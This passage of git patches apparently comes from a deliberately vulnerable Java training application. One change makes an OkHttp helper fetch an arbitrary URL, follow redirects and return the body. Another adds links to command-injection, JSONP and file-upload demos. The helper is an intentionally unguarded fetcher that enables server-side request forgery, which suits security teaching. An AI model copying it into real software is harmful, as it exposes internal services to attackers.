a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java index 571680a2..1f92cfb9 100644 --- a/src/main/java/org/joychou/util/HttpUtils.java +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -146,10 +146,16 @@ public static String Jsoup(String url) { } - public static void okhttp(String url) throws IOException { + /** + * The default setting of followRedirects is true. The option of followRedirects is true. + * + * UserAgent is okhttp/2.5.0. + */ + public static String okhttp(String url) throws IOException { OkHttpClient client = new OkHttpClient(); + // client.setFollowRedirects(false); com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); - client.newCall(ok_http).execute(); + return client.newCall(ok_http).execute().body().string(); } diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index 671045d5..72779b8e 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -8,6 +8,7 @@

Hello .

Welcome to login java-sec-code application. Application Infomation

+ Swagger   CmdInject   JSONP   FileUpload   From 30dd98b81a6795f7f577ae0f2fde56680404395b Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 3 Aug 2020 17:49:12 +0800 Subject: [PATCH 20/38] fixes #23 --- src/main/resources/templates/login.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html index dc6ee40f..1a4c4225 100644 --- a/src/main/resources/templates/login.html +++ b/src/main/resources/templates/login.html @@ -8,7 +8,7 @@ - +